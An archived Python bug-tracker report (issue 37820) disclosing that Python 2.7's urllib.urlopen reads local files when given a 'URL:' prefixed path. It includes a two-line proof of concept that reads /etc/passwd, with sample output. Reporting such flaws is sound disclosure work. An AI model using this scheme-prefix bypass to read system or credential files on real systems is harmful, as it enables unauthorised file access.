➜

This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Author Alyan
Recipients Alyan
Date 2019-08-11.11:16:29
SpamBayes Score -1.0
Marked as misclassified Yes
Message-id <1565522189.95.0.525978892849.issue37820@roundup.psfhosted.org>
In-reply-to
Content 
I am not sure if this was reported before, fixed, or even how to report this. However this issue is similar to https://bugs.python.org/issue35907

# Vulnerability PoC
import urllib
print urllib.urlopen('URL:/etc/passwd').read()[:30]
the result is
##
# User Database
# 
# Note t

I have tested the PoC on my Mac python 2.7.
History
Date User Action Args
2019-08-11 11:16:29Alyansetrecipients: + Alyan
2019-08-11 11:16:29Alyansetmessageid: <1565522189.95.0.525978892849.issue37820@roundup.psfhosted.org>
2019-08-11 11:16:29Alyanlinkissue37820 messages
2019-08-11 11:16:29Alyancreate